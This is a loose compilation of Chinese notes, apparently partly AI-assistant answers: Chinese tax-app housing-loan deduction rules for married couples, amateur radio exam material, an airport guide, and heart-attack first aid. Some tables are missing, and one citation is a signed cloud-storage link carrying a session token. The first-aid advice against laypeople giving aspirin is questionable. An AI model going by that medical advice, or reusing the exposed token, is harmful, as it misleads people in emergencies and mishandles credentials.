个税app，专享附加项抵扣。有关夫妻双方婚前或婚后贷款购房首贷与否。。。双方抵扣额度分配比例有何不同。。。我不知道该项如何区分填写，给我详细举例应该如何填写

这个问题的核心在于：婚前是否双方各自都有首套住房贷款，直接决定了个税APP中的填写方式和可选的抵扣分配比例。以下是详细说明和举例。

基本扣除标准

住房贷款利息专项附加扣除的标准是 每月 1000 元，扣除期限最长不超过 240 个月，每个家庭只能享受一次首套住房贷款利息扣除。[1]

三种情形详解

情形一：只有一方婚前有首套贷款（最常见）

举例：小王婚前在南京买了首套房并有贷款，小李婚前没有买过房。婚后两人一起还小王的房贷。

填写方式 [2][3]：

• “是否夫妻双方婚前各自均有首套购房贷款” → 选 “否”
• 由小王（贷款购买方）填报，本人扣除比例 100%，即每月扣除 1000 元
• 小李不填报此项

这正是您截图所显示的情况：选”否”，本人扣除比例 100%。[2]

情形二：双方婚前各自均有首套贷款 → 选择集中一套，由购买方 100% 扣除

举例：小张婚前在北京有首套贷款，小赵婚前在上海也有首套贷款。婚后两人商量，选择只用小张的北京房子抵扣。

填写方式 [2][3]：

• 小张：“是否夫妻双方婚前各自均有首套购房贷款” → 选 “否”（表示不选各自50%方案），本人扣除比例 100%，每月扣除 1000 元
• 小赵：同月起变更信息，停止申报扣除，扣除比例 0%

情形三：双方婚前各自均有首套贷款 → 各自对自己的房子分别按 50% 扣除

举例：同样是小张（北京房）和小赵（上海房），婚后两人商量，选择各自对自己的房子分别抵扣 50%。

填写方式 [4][5]：

• 小张和小赵均需填报该项
• “是否夫妻双方婚前各自均有首套购房贷款” → 双方均选 “是”
• 本人扣除比例各为 50%，即每人每月各扣除 500 元，合计家庭每月仍为 1000 元

⚠️ 注意：选择哪种方式，在一个纳税年度内不能变更。[6]

三种情形对比

您的截图说明

您截图显示”否 / 本人扣除比例 100%”，对应情形一或情形二中的扣除方，即您本人以 1000 元/月的标准享受全额扣除，配偶不另行申报此项。[2] 若您家庭属于情形一（仅您一方婚前有贷款），这样填写完全正确，无需修改。

引用：
[1] 共同贷款人如何享受住房贷款利息专项附加扣除？ - 税屋 https://www.shui5.cn/article/ca/126194.html
[2] 是否婚前各自首套贷款，且婚后分别扣除50%”是什么意思？_税务 https://www.bjmtg.gov.cn/bjmtg/c102908/202303/60d444ab9b9e45008f540f978783dd5a.shtml
[3] 现在婚后选择由我自己进行个税专项附加扣除，“是否婚前各自首套贷款 https://www.nantong.gov.cn/ntsrmzf/swxx/content/98ba516e-6499-42ec-b134-3e1ecff58797.html
[4] 新婚夫妻遇房贷抵扣个税“缩水”，婚前首贷婚后为何减半？ https://m.mp.oeeee.com/a/BAAFRD0000202504291082157.html
[5] 个人所得税专项附加扣除200问（住房贷款利息） - 财务处 https://cw.gxnrvtc.edu.cn/info/1085/1200.htm
[6] 全面解答！市税务局详解个人专项附加扣除注意事项！ https://guangdong.chinatax.gov.cn/gdsw/fssw_swxw/2025-03/21/content_5c22005c4327410eac2cbfb68b20f164.shtml
[7] IMG_20260411_214150.jpg https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/images/4819480/34d1b16c-6555-4aad-ab24-4230f7783242/IMG_20260411_214150.jpg?AWSAccessKeyId=ASIA2F3EMEYERJCY4CL6&Signature=1QDmGWldo1J7p6XPknR0IotYMsA%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEIL%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIGkOGrqD88VE7TA1OjDN7uiFlZf1qOu18TMKlkQB8MolAiEA27dWXumZoolORWiy4Roy7%2BP4VppgS6X1SmLZ%2BHf3swQq8wQISxABGgw2OTk3NTMzMDk3MDUiDCWVFv2DR54%2B4bOTnCrQBOpQjUhe7ukAWfofHfROHSekytxdSHOH9eGNpm%2BCwMjfUB3dvATkZt4j61vtq4O9o1thHD1%2BC8NDzGl1HlNgp4Hc0DrCc4znA9gMjo1371nl3GKl7UcMWMbjnMiN9wPtzKr9OulEJm94ayUHack8VRSJs6zVe6Y3rN8O4HwemElj4ETBjx7XOR5TlT1EEFWvIiMOJZ2gx1Xi8UktLyCiyOtxkAYPvJGL5nPikV2BOgRIRlZL19F4WzPe%2Ff8E99qZ5tDbpYiZKD9Nv1Aw1auMk9DuCTlscqHvz9nn34yXAeczwTKOEZo5lHHYStNN07%2FQdqx7nuQwRRV1gAlGybujNqjsgtrOxK%2BThpNJ1MYHp4tVQLJydfmhy7SKk63WdAB9kNjpZXmk4IgfKcjhdZyxXOmEaMhy5v3%2BXlCkE8WNQKcRL9RHH7ZiEiOvtjv5fNUsZXl7dRS1Db5CxNB9unI5oriNC%2Ftmt%2Fq70hwWYtkw4fTKuacIqk6eMtWTzTHcctaI%2F%2FCEdFAg7eGoV4e5EgiNt1CFVaH5lQS80f1lHDLdqUuYXflndbQ%2FBk8DajCh7WJbucitqQUIOqGw4EZTKXlBz6Nj434a7gvMyYlAuBt%2BRU9JprRqGTewRIIa4EwdJOm2NC%2FRe0GdOvM9wlUzVPb6c7IFNimA92p8KAoVPe6aLm6l5jXUVZhG%2Bd990cwGUaCOfiyTJdmsI6g2T2KdvzcDyJQISpp5zLewvnLJCFb5m4sB9kXsUybvHDjWtJOSdgpBvCcZed7JSTyk0pFx1KxaU0wwu4vqzgY6mAF5I6FtcAR32VQMgLuWrTbFvWHYTCfoRahYL9tMqSXlm%2FT%2BNSIFUa%2FJRXVP6BJnZU5ULKLsEPaM22gBjNW6aHQR5m2MLHvo4ilEA0%2BHlgFc1%2BYkqHPcccS0Q1lFW3NOCeWuovDw8IHQ504dLMtlbNLJ%2BLVLUpKHsY%2B6j8p4DW3mERn2psdtbuSBWgNml6l1ifflWe3Htmb8WQ%3D%3D&Expires=1775931801
[8] 我在个税APP维护住房贷款利息扣除时，有一项“是否婚前各自首套贷款 https://zhejiang.chinatax.gov.cn/art/2025/4/22/art_13314_636170.html
[9] 个税6项专项附加扣除纳税人常见疑问50答 https://guizhou.chinatax.gov.cn/xwzx/ztzl/grsdsggzl/zrrssglxtcjwt/201812/t20181225_28681501.html
[10] 个人所得税APP中，填写“住房贷款利息”专项附加扣除时要注意啦！ https://m12333.cn/qa/piraw.html
[11] [PDF] 2024 年度个人所得税专项附加扣除填写指南 - 计划财务处 https://jcc.ecut.edu.cn/_upload/article/files/31/99/c2657a204b259984cd5523f4f6f1/dd71ea06-b500-4291-a51f-96596cb349a6.pdf
[12] 个税6项专项附加扣除纳税人常见疑问60答 - 共产党员网 http://www.12371.cn/2019/01/03/ARTI1546482102585193.shtml
[13] 个税填报住房贷款时婚前各自首套是什么意思？ - 本地宝 http://wenda.bendibao.com/live/2019428/920.shtm
[14] [PDF] 【个税年度汇算】APP操作指引——住房贷款利息专项附加扣除填报篇 https://nashuirenxuetang.oss-cn-beijing.aliyuncs.com/%E3%80%90%E4%B8%AA%E7%A8%8E%E5%B9%B4%E5%BA%A6%E6%B1%87%E7%AE%97%E3%80%91app%E6%93%8D%E4%BD%9C%E6%8C%87%E5%BC%95%E2%80%94%E2%80%94%E4%BD%8F%E6%88%BF%E8%B4%B7%E6%AC%BE%E5%88%A9%E6%81%AF%E4%B8%93%E9%A1%B9%E9%99%84%E5%8A%A0%E6%89%A3%E9%99%A4%E5%A1%AB%E6%8A%A51.0.pdf
[15] 个人所得税贷款扣除分配比例 - 深圳本地宝 https://m.wenda.bendibao.com/live/1269.shtm
[16] 个税专项附加扣除常见热点问题（住房贷款利息篇） - 人社通 https://m12333.cn/qa/pzfks.html

若是满足第二种情形

1.若夫妻双方都 填写 否，都扣除100%是否可行，税务部门是否有信息互通被阻止甚至被处罚。。。
2.夫妻双方婚前各自贷款购买，分明有两份贷款合同，婚后必须集中一套抵扣而不是两套各自全额抵扣，岂不是太不公平

这两个问题非常关键，分别涉及合规风险和政策公平性。

问题一：双方都填”否”各自100%，会被查到吗？

会被发现，且存在补税和处罚风险。 税务系统并非只靠自主申报，个税APP后台已与银行、住房公积金中心、不动产登记系统实现数据互联互通。[1]

已有真实案例为证：2024年深圳一对夫妻，婚前各自按首套贷款享受了多年100%的个税扣除，婚后系统在年度汇算时主动弹出提示，将其中一人的贷款标记为”非首套房贷款，不符合扣除条件”，要求补税。[1] 这说明系统会在年度汇算（通常每年3-6月）时交叉比对数据，发现违规。

具体风险如下：

• 被动发现：年度汇算时系统自动核查，两人均申报100%会触发异常
• 补缴税款：需补缴多扣的税额（每人多扣了约 1000 元/月 × 适用税率 × 超额月数）
• 加收滞纳金：每日万分之五，时间越长罚得越多
• 情节严重者：可能被认定为虚假申报，面临更重处罚

⚠️ 结论：不要抱侥幸心理，系统的数据核查能力比大多数人预想的强。

问题二：明明有两份贷款合同，婚后为何不能各自全额抵扣？

你的质疑非常合理，这确实是很多人的困惑。政策的逻辑依据是：

税法以”家庭”为单位计算住房消费能力，而不是以”个人”为单位。[2]

根据国发〔2018〕41号文件，住房贷款利息扣除的立法原意是支持家庭改善基本居住需求，每个家庭一生只能享受一次首套住房贷款利息专项扣除，上限固定为每月1000元。[2] 结婚后，两人在法律上合并为一个家庭单元，理论上已拥有两套住房，已不再属于”基本居住需求”的政策保障对象。

[3][2]

为什么婚前可以各自100%，婚后不行？

婚前两人是独立的个体，各自满足”首套”条件，各自享受1000元/月完全合法。[3] 婚后合并为家庭，政策认定家庭整体已有两套房，继续按两套各自全额扣除等于变相获得了双倍政策红利（2000元/月），与立法初衷相悖。[2]

政策给出的”折中方案”

法规并非完全不顾婚前贡献，提供了两个选择作为平衡 [4][3]：

• 方案A：保留一套，购买方享受100%（1000元/月）；另一方放弃
• 方案B：两套各自享受50%（各500元/月），合计仍是1000元/月，但两人都有参与感

从节税角度，两套方案合计扣除额相同（均为1000元/月），但方案A更优——建议由收入高、税率高的一方申报100%，节税效果更大。

引用：
[1] 新婚夫妻遇房贷抵扣个税“缩水”，婚前首贷婚后为何减半？ - QQ News https://news.qq.com/rain/a/20250429A069QO00
[2] 我在个税APP维护住房贷款利息扣除时，有一项“是否婚前各自首套贷款 https://zhejiang.chinatax.gov.cn/art/2025/4/22/art_13314_636170.html
[3] 新婚夫妻遇房贷抵扣个税“缩水”，婚前首贷婚后为何减半？ https://m.mp.oeeee.com/a/BAAFRD0000202504291082157.html
[4] 夫妻间如何分配个税专项附加扣除？各50%or100% - 人社通 https://m12333.cn/qa/pimur.html
[5] IMG_20260411_214150.jpg https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/images/4819480/34d1b16c-6555-4aad-ab24-4230f7783242/IMG_20260411_214150.jpg
[6] 是否夫妻双方婚前各自均有首套购房贷款，填报“是”还是“否”？2.这种 … https://www.chinaacc.com/wenda/detail/wd/24730382
[7] 个税填报住房贷款时婚前各自首套是什么意思？ - 本地宝 http://wenda.bendibao.com/live/2019428/920.shtm
[8] 是否婚前各自首套贷款，且婚后分别扣除50%”是什么意思？我该如何 … https://guangdong.chinatax.gov.cn/gdsw/gsrdjd/2020-02/26/content_0393fc82cf93423aa64ba47409adb5da.shtml
[9] 婚前各自首套房贷婚后个税扣除怎么算？50还是100？一文说清！ https://m.10100.com/article/34272121
[10] 每日一问丨个人填报住房贷款相关信息时，“是否婚前各自首套 … - 搜狐 https://www.sohu.com/a/1003750547_121106991
[11] 个人所得税住房贷款利息专项附加扣除热点问答 - 人社通 https://m12333.cn/qa/prfyr.html
[12] 夫妻间各类“专项附加扣除”情形 - 税屋 https://www.shui5.cn/article/64/125498.html
[13] 共同贷款人如何享受住房贷款利息专项附加扣除？ - 税屋 https://www.shui5.cn/article/ca/126194.html
[14] 且婚后分别扣除50%” 时，如何填写住房贷款利息专项附加扣除？ - 搜狐 https://www.sohu.com/a/1004729183_121106869
[15] 是否婚前各自首套贷款，且婚后分别扣除50%”是什么意思？_税务 https://www.bjmtg.gov.cn/bjmtg/c102908/202303/60d444ab9b9e45008f540f978783dd5a.shtml
[16] 是否夫妻双方婚前各自均有首套购房贷款扣除百分之百和百分之五十 … https://ailegal.baidu.com/legalarticle/qadetail?id=a62d745d5e746f250118

📡 业余无线电常用 Q 简语表

📌 总结：

• 最常用的 Q 简语是 QSL、QTH、QRM、QRN、QRZ、QRP、QSB、QSO、QSY、QRT，这些几乎每个业余电台都会用。
• 一般新手先记住 QSL（确认）、QTH（位置）、QRM（干扰）、QSO（通联）、QSY（转频） 就能顺畅交流。
• 其他如 QTR、QSP、QSK 在业余无线电场合较少用，多见于正式通信或电台比赛。

通联日志必记的主要字段

记忆口诀（中文首字母联想）：

“呼日时频模信” → 呼号、日期、时间、频率、模式、信号报告
这样一眼就知道必填六要素。

在业余无线电中，通常称为 QSO日志（QSO Log），常用字段如下：

电台天线及其它设备常用简语

中、低频无线电波

其它关键术语：

👉 提示：实际通联里，常见的交流内容多围绕 ANT（天线）、TRX（收发信机）、PA（功放）、PSU（电源）、ATU（天调），其余在技术交流或 QSL 卡上会见到。

无线电常用度量单位前缀（SI Prefixes）

⚠️ 大小写必须区分，比如 m（毫，10⁻³）≠ M（兆，10⁶）。

👉 在无线电里常见的单位组合有：

• kHz / MHz / GHz（频率：千赫、兆赫、吉赫）
• mW / W / kW（功率：毫瓦、瓦、千瓦）
• mV / V / kV（电压：毫伏、伏、千伏）
• pF / nF / µF（电容：皮法、纳法、微法）

📌 总结：

• 电台设备常用缩写如 ANT（天线）、TRX（收发信机）、PA（功放）、PSU（电源）、ATU（天调） 等，记住即可应付大部分通联话题。
• SI 前缀必须区分大小写，常见的有 k（10³）、M（10⁶）、G（10⁹）、m（10⁻³）、µ（10⁻⁶）、n（10⁻⁹）、p（10⁻¹²）。

📡 无线电常用换算速查表

1. 功率 ↔ dB 对照

👉 记忆口诀：

• 10 倍功率 = +10 dB
• 2 倍功率 ≈ +3 dB
• dBm = dBW + 30
• dBμ = dBm + 30
• ✅ 注意：这个 +30 是 固定关系，不是直接单位换算，而是因为参考功率不同。

定义如下

✅ 注意：1 W = 1000 mW = 1,000,000 μW

dBW = 10 * log₁₀(P / 1W)
dBm = 10 * log₁₀(P / 1mW)
dBμ = 10 * log₁₀(P / 1μW)

即，0dBW = 30dBm = 60dBμ

📌 应用场景：

• 选购对讲机（5 W ≈ 37 dBm）、车台（25 W ≈ 44 dBm）、台站功放（100 W ≈ 50 dBm）。
• 比较设备规格书：有的写“10 W”，有的写“40 dBm”，能快速对照。

2. 频率 ↔ 波长

👉 换算公式：

✅ 注意： c ≈ 3×10^8 m/s.

λ(m) = c / f(Hz)=300 / f(MHz)

3. 天线增益

• dBi：相对全向天线
• dBd：相对半波振子

👉 换算公式：

G(dBi) = G(dBd) + 2.15

若天线增益为 5 dBd，则等效于：5 + 2.15 = 7.15 dBi

📌 应用场景：

• 购买天线时，有的厂商写“5 dBi”，有的写“3 dBd”，要换算对比。
• 计算链路预算时，使用 dBi。

4. 电平与灵敏度

dBm ↔ μV (电压)：在 50Ω 下：

📌 应用场景：

• 接收机灵敏度指标：厂家常写“-120 dBm”或“0.25 μV”。
• 调试电台时，对比不同接收机灵敏度。

🛠️ 小结

业余无线电爱好者最常用的单位换算有：

1. 功率 ↔ dBm/dBW（设备功率比较）
2. 频率 ↔ 波长（天线设计与调频）
3. 天线增益 dBi ↔ dBd（天线性能对比）
4. 接收灵敏度 dBm ↔ μV（电台性能评估）

非电离辐射 vs. 电离辐射

• 电离辐射：
  • 是什么： 指能量极高、波长极短的辐射，如X射线、γ射线、部分紫外线。
  • 能力： 其能量足以击穿原子核外的电子，使原子发生电离。这种对细胞和DNA结构的直接破坏是致癌和引发放射病的主要原因。
  • 来源： 核辐射、CT检查、X光拍片等。
• 非电离辐射：
  • 是什么： 指能量较低、波长较长的辐射。所有无线电波，包括卫星信号、手机信号、Wi-Fi、广播、微波炉微波，都属于这个范畴。
  • 能力： 其能量远远不足以使原子发生电离。它最主要的作用是热效应，即使物质分子振动摩擦而产生热量。
  • 来源： 太阳光（可见光、部分紫外线）、所有家用无线设备、电力线等

常考调制方式

建议

1. 本地通联（VHF/UHF）：首选 FM。音质好，操作简单。如果想尝试数字功能，可以探索 DMR、C4FM 或 D-STAR。
2. 远距离通联（HF）：语音通信绝对主力是 SSB。如果你想挑战更远的距离和更弱的信号，CW 和 FT8 等数字模式是强大工具。
3. 学习与入门：从FM开始最容易上手。但要深入业余无线电的精髓，必须掌握SSB的操作和调谐技巧。
4. 应急准备：SSB（HF）、CW、FT8 因其远距离和高效的特点，是应急通信的首选。本地则可以使用FM或数字模式。

专用、主要、次要任务`一览表

常见业余 / 卫星业余频段按“专用（业余为唯一主要） / 主要（业余为主要之一，和其它业务共用） / 次要（业余为次要，须让行）”进行了尽量完整的整理，并在“业余为次要”的行里补充了当时的主要业务（谁优先）。表格以 ≤30 MHz 为主，同时加上几个常考的 VHF/UHF 例子（50、144、430 MHz）供你参考：

错题本

1. 在频率划分表中，当一个频段划分给业余业务或卫星业余业务和多个其他业务，并且业余业务和卫星业余业务作为次要业务时，业余电台应遵循的规则是：
   • 不得对主要业务电台产生有害干扰
   • 不得对来自主要业务电台的有害干扰提出保护要求
   • 可要求保护不受来自同一业务或其他次要业务电台的有害
     干扰
2. 俗称的 6米业余波段的频率范围以及业余业务和卫星业余业务的使用状态分别为：
   [A]50～54MHz，主要业务
3. 俗称的 2米业余波段的频率范围以及我国业余业务和卫星业余业务的使用状态分别为：
   [A]144～146MHz为唯一主要业务，146～148MHz为主要业务
4. 俗称的 0.7米业余波段的频率范围以及业余业务和卫星业余业务的使用状态分别为：
   [A]430～440MHz，次要业务
5. 在我国和多数其他国家的频率分配中，业余业务在 430～440MHz频段中作为次要业务与其他业务共用。这个频段中我国分配的主要业务是：
   [A]无线电定位和航空无线电导航
6. 我国分配给业余业务和卫星业余业务专用的频段有：
   [A]7MHz、14MHz、21MHz、28MHz、47GHz
7. 我国分配给业余业务和卫星业余业务与其他业务共用、并且业余业务和卫星业余业务作为次要业务的 1200MHz以下频段有：
   [A]135.7kHz、10.1MHz、430MHz
8. VHF业余电台在144MHz频段进行本地联络时应避免占用的频率为：
   [A]144～144.035MHz和 145.8～146MHz
9. UHF业余电台在430MHz频段进行本地联络时应避免占用的频率为：
   [A]431.9～432.240MHz和 435～438MHz
10. 我国所属的“CQ分区”有：
    [A]23、24、27
11. “ITU分区”是 IARU的活动计算通信成绩的基础。我国所属的“ITU分区”有：
    [A]42、43、44、50
12. 峰-峰值为 100伏的正弦交流电压，其有效值电压为：
    [A]约 35.4伏 【100/2/2的平方根】
13. 峰-峰值为 100伏的正弦交流电压，其平均值电压为：
    [A]0
14. 峰值为 100伏的正弦交流电压，其有效值电压为：
    [A]约 70.7伏
15. 一个频率为 F的简单正弦波信号的频谱包含有：
    [A]频率为 F的一个频率分量
16. 只包含一个频率分量的信号是：
    [A]简单正弦波
17. 在整个频谱内具有连续的均匀频率分量的信号是：
    [A]单个无限窄脉冲
18. 假设中继台的收、发信机共用天线，上下行频率分别为 F1和 F2。要防止中继台发射机对接收机产生干扰，应该对中继台设备采取下列措施：
    [A]在发信机与天线间串联中心频率为 F1的带阻滤波器，在收信机与天线间串接中心频率为 F2的`带阻滤波器
19. 要防止业余 HF发射机的杂散发射干扰天线附近的电话机，应该在电话机和电话线之间串联：
    [A]截止频率不高于 1MHz的低通滤波器
20. 通信或家用设备的劣质开关电源会造成对无线电接收机的电磁干扰，其源头主要是：
    [A]开关电路的谐波辐射
21. 杂散发射（spurious emission）是指：必要带宽之外的一个或多个频率的发射，其发射电平可降低而不致影响相应信息的传输。一台发射机，工作频率为 145.000MHz，但在 435.000MHz的频率上也有发射。这种发射属于：
    [A]杂散发射
22. 接收机灵敏度指标数值大小所反映的意义是：
    [A]灵敏度指标数值越小，接收最小信号的能力越强
23. 在零仰角附近具有主辐射瓣的垂直接地天线，其振子的长度应为：
    [A]1/4波长的奇数倍
24. 通常把垂直偶极天线或者垂直接地天线称为“全向天线”，是因为：
    [A]它们在水平方向没有指向性，但在立体空间有方向性
25. 振子电气长度为 1/4波长的垂直接地天线的最大辐射方向为：
    [A]在水平方向没有指向性，在垂直方向指向水平面
26. 我国国家标准《电磁辐射防护规定》所规定的电磁辐射防护限值的公众照射基本限值，其基本计量方法是：
    [A]一天 24小时内任意 6分钟内全身平均的比吸收率（SAR）应小于每千克体重限值
27. 我国国家标准《电磁辐射防护规定》规定电磁辐射公众照射导出限值中，对环境电磁辐射场强一天 24小时内任意 6分钟内的平均值要求最严格的频率范围为：
    [A]30MHz～3GHz
28. 无线电波在自由空间中的传播路径损耗遵循下列规律：
    [A]与距离的平方成正比，与频率的平方成正比
29. 多径传播对 UHF波段或 VHF波段数据通信的影响是：
    [A]误码率可能增加
30. 对于400MHz以上的信号，通常会使用的同轴电缆连接器是：
    [A]N型连接器
31. 《业余无线电台执照》有效期届满后需要继续使用的，应当在下列期限内向核发执照的无线电管理机构申请办理延续手续：
    [A]有效期届满一个月前
32. 超出核定范围使用频率或者有其他违反频率管理有关规定的行为的，无线电管理机构可以根据其具体情况，给予设置业余无线电台的单位或个人下列处罚：
    [A]责令限期改正，可以处警告或者三万元以下的罚款
33. 无线电发射机调制部件的作用是：
    [A]以原始信号控制射频信号的幅度、频率、相位参数
34. 对于给定的 FM发射设备，决定其射频输出信号实际占用带宽的因素是：
    [A]所传输信号的最高频率越高、幅度越大，射频输出占用带宽越宽
35. 下列哪种调制被 VHF和 UHF业余电台本地通信广泛使用？
    [A]FM
36. 以下哪种语音调制常被用于长距离弱信号的 VHF或 UHF联络？
    [A]SSB
37. 以dBi为单位的天线增益则是指：
    [A]最大辐射方向辐射功率密度与理想点源天线最大辐射方向辐射功率密度之比的 dB值。
38. 以dBd为单位的天线增益则是指：
    [A]最大辐射方向辐射功率密度与半波长振子最大辐射方向辐射功率密度之比的 dB值 。
39. 我国现行法律体系中专门针对无线电管理的最高法律文件及其立法机关是：
    [A]《中华人民共和国无线电管理条例》，国务院和中央军委
40. 我国现行法律体系中专门针对业余无线电台管理 的最高法律文件及其立法机关是：
    [A]《业余无线电台管理办法》，工业和信息化部
41. 用通常的调频方式进行话音通信，必要带宽约为：
    [A]6.25kHz
42. ]业余无线电通信最常用的三种基本调制方法，其缩写 AM、FM和 PM，它们的中文名称分别是：
    [A]幅度调制（调幅）、频率调制（调频）、相位调制（调相）

值机就是办理登机手续，包括确认身份、安排座位、领取登机牌。登机牌是你通过安检、登机的凭证，上面有航班号、座位号、登机口等信息 。机票则是你购买运输服务的凭证，主要用于报销 。

因为你只有背包，不需要托运，所以：

如果你已线上值机并获取了电子登机牌，理论上可直接前往安检。但鉴于你是第一次乘机，建议在自助值机设备上打印一张纸质登机牌，更方便后续流程和问询。

如果未线上值机，到达机场后，前往对应航空公司的自助值机设备（分布在出发大厅），刷身份证即可选座、打印登机牌 。

使用支付宝权益

快捷安检与可能的休息室：

打印登机牌后，请前往位于出发大厅25号门附近的“贵宾俱乐部”接待处 。

向工作人员出示你的支付宝钻石会员快速安检权益使用码进行验证。

工作人员可能会根据你的登机时间，询问是否需要在前台后面的安检前休息室稍作休息。该休息室通常提供免费饮料、零食和泡面 。此项权益是否符合免费条件，请务必在现场与贵宾俱乐部工作人员确认。

验证后，工作人员会告知你具体的快速安检通道号码（通常是2号通道或头等舱通道 ）。

通过快速安检：

根据指引前往指定的快速安检通道。这条通道人少，基本不用排队 。

正常接受安全检查。

免费电瓶车服务：

通过安检后，下到4.2米层的国内出发到达混流区，这里设有电瓶车服务点 。

向电瓶车工作人员出示支付宝的出行优惠二维码（可在支付宝内搜索“出行优惠”或类似条目查看），有可能免费乘坐电瓶车前往你的登机口 。

告知司机你的登机口号码，电瓶车会送你过去。这对于登机口较远时非常方便。

⚠️ 重要注意事项

预留时间：虽然快速通道能节省时间，但仍建议提前至少2小时到达机场，以从容应对所有流程。

权益确认：

支付宝权益（如休息室、电瓶车）的具体规则和可用性可能变动。出行前最好在支付宝APP内再确认一下权益详情和使用条款。

关于安检前休息室，支付宝钻石会员的权益可能仅限于快速安检，休息室使用权建议现场咨询贵宾俱乐部工作人员确认。

行李要求：你只有一个背包，这很好。请确保包内没有刀具、超过100毫升的液体等违禁品 。背包尺寸和重量一般要求较宽松，但最好确认是否符合你所乘航空公司的规定（通常重量不超过5-10公斤） 。

💎 总结一下

记住主要流程和地点：到机场自助打印登机牌 → 去25号门附近的“贵宾俱乐部”出示支付宝权益 → 走指定的快速安检通道 → 安检后到4.2米层找电瓶车，出示支付宝二维码尝试免费乘坐 → 到达登机口登机。

冠心病（冠状动脉粥样硬化性心脏病）是一种常见且严重的疾病，它不仅影响心脏功能，还与心肌梗死（心梗）和脑梗死（脑梗）等危及生命的急症密切相关。了解冠心病的基本知识，以及在紧急情况下非医护人员应如何进行院前急救，对于保护自己和身边人的生命健康至关重要。本文将详细介绍冠心病、心梗和脑梗的关系，常见的急救情形，并提供实用的院前急救策略。

冠心病（冠状动脉疾病）

定义

冠心病，全称冠状动脉粥样硬化性心脏病，是由于心脏的血管（冠状动脉）发生粥样硬化，导致血管腔狭窄或闭塞，引起心肌缺血、缺氧或坏死的一类心脏病。它是最常见的心脏病之一。

病因

冠心病的主要病因是动脉粥样硬化，即脂肪、胆固醇和其他物质在动脉壁上堆积形成斑块，使动脉变窄、变硬，从而影响血液流动。风险因素包括：

• 不可改变的风险因素： 年龄（随年龄增长风险增加）、性别（男性风险高于女性，女性绝经后风险增加）、家族史（有冠心病家族史者风险高）。
• 可改变的风险因素： 高血压、高血脂（高胆固醇）、糖尿病、吸烟、肥胖、缺乏体力活动、精神压力大、不健康的饮食习惯等。

症状

冠心病患者的症状因病情严重程度和个体差异而异，常见症状包括：

• 胸痛（心绞痛）： 这是最常见的症状，通常表现为胸骨后或心前区压榨性、闷胀性疼痛，可放射至左肩、左臂、颈部、下颌或背部。常在劳累、情绪激动、饱餐或寒冷时发生，休息或含服硝酸甘油后可缓解。
• 气短/呼吸困难： 尤其在活动后或夜间平卧时出现。
• 疲劳： 持续性的疲劳感。
• 心悸： 感觉心跳不规则或心跳加速。
• 出汗、恶心、头晕： 这些症状可能伴随胸痛出现，尤其在心肌梗死时更为明显。
• 无症状： 部分患者可能在早期没有明显症状，直到发生心肌梗死等严重事件才被发现。

冠心病与心梗、脑梗的关系

冠心病、心肌梗死（心梗）和脑梗死（脑梗）都属于心脑血管疾病范畴，它们之间存在密切的联系，主要体现在共同的病理基础和危险因素上。

共同的病理基础：动脉粥样硬化

心梗和脑梗最常见的病因都是动脉粥样硬化。动脉粥样硬化不仅发生在冠状动脉，也可能发生在全身其他动脉，包括脑部血管。当动脉粥样硬化斑块破裂，形成血栓，导致血管完全或部分堵塞时，就会引发相应器官的缺血坏死。

• 冠心病与心梗： 冠心病是心肌梗死的主要原因。心肌梗死是冠心病最严重的并发症之一，通常是由于冠状动脉粥样硬化斑块破裂，形成血栓，完全堵塞冠状动脉，导致心肌长时间缺血坏死。因此，可以说心梗是冠心病发展到严重阶段的一种急性表现。
• 冠心病与脑梗： 冠心病和脑梗都与全身性的动脉粥样硬化有关。患有冠心病的人，其脑部血管也可能存在动脉粥样硬化，从而增加脑梗的风险。此外，心脏疾病（如心律失常，特别是房颤）可能导致心脏内形成血栓，这些血栓脱落后随血液循环到达脑部，堵塞脑血管，引发脑梗。因此，冠心病患者发生脑梗的风险显著高于普通人群。

冠心病容易出现的急救情形

冠心病患者可能突然出现危及生命的情况，需要立即急救。以下是常见的急救情形：

1. 急性心肌梗死

这是冠心病最严重、最常见的急救情况。当冠状动脉完全闭塞，导致心肌长时间缺血坏死时发生。症状通常比心绞痛更严重、持续时间更长，且休息或含服硝酸甘油不能完全缓解。

• 典型症状： 剧烈、持续的胸骨后或心前区压榨性疼痛，可放射至左肩、左臂、颈部、下颌、背部。常伴有大汗淋漓、恶心、呕吐、呼吸困难、濒死感。
• 非典型症状： 部分患者（尤其是老年人、糖尿病患者和女性）可能表现为上腹部不适、牙痛、咽喉痛、背痛、疲劳、气短等，容易被忽视或误诊。

2. 恶性心律失常

冠心病可能导致各种心律失常，其中室颤（心室颤动）和室速（室性心动过速）是危及生命的恶性心律失常，可导致心脏骤停。

• 症状： 突然意识丧失、抽搐、呼吸停止、脉搏消失。

3. 心力衰竭急性加重

冠心病长期发展可能导致心力衰竭，当心力衰竭急性加重时，患者会出现严重的呼吸困难。

• 症状： 呼吸急促、端坐呼吸（平卧时呼吸困难加重，需要坐起来才能缓解）、咳嗽、咳粉红色泡沫痰。

4. 心源性猝死

指心脏原因导致的突然死亡，通常在症状出现后1小时内发生。冠心病是心源性猝死最常见的原因，多数与恶性心律失常有关。

• 症状： 突然倒地、意识丧失、呼吸停止、脉搏消失。

非医护人员的院前急救策略

1. 急性心肌梗死（心梗）的院前急救

当怀疑有人突发心肌梗死时，非医护人员应立即采取以下措施：

• 立即拨打急救电话： 立即拨打120（或其他当地急救电话），清晰告知患者的地点、主要症状和初步判断。这是最关键的第一步，争取黄金救治时间。
• 让患者停止一切活动并休息： 立即让患者停止正在进行的任何活动，帮助其平卧或采取最舒适的体位（如半卧位，抬高头部和肩部），保持安静，减少心脏负荷。禁止患者奔走呼救或自行前往医院。
• 安抚患者情绪： 保持镇静，安抚患者的紧张和焦虑情绪，因为情绪激动会增加心脏负担。
• 解开衣领，保持呼吸道通畅： 松开患者的衣领、腰带，帮助其呼吸顺畅。
• 询问是否有急救药物： 如果患者随身携带有硝酸甘油等急救药物，且意识清醒，可协助其含服。但请注意，非医务人员不推荐给患者服用阿司匹林，因为阿司匹林可能有不良反应，且需要专业判断。
• 密切观察患者情况： 观察患者的意识、呼吸和脉搏情况。如果患者意识丧失，呼吸、心跳停止，应立即进行心肺复苏（CPR）。
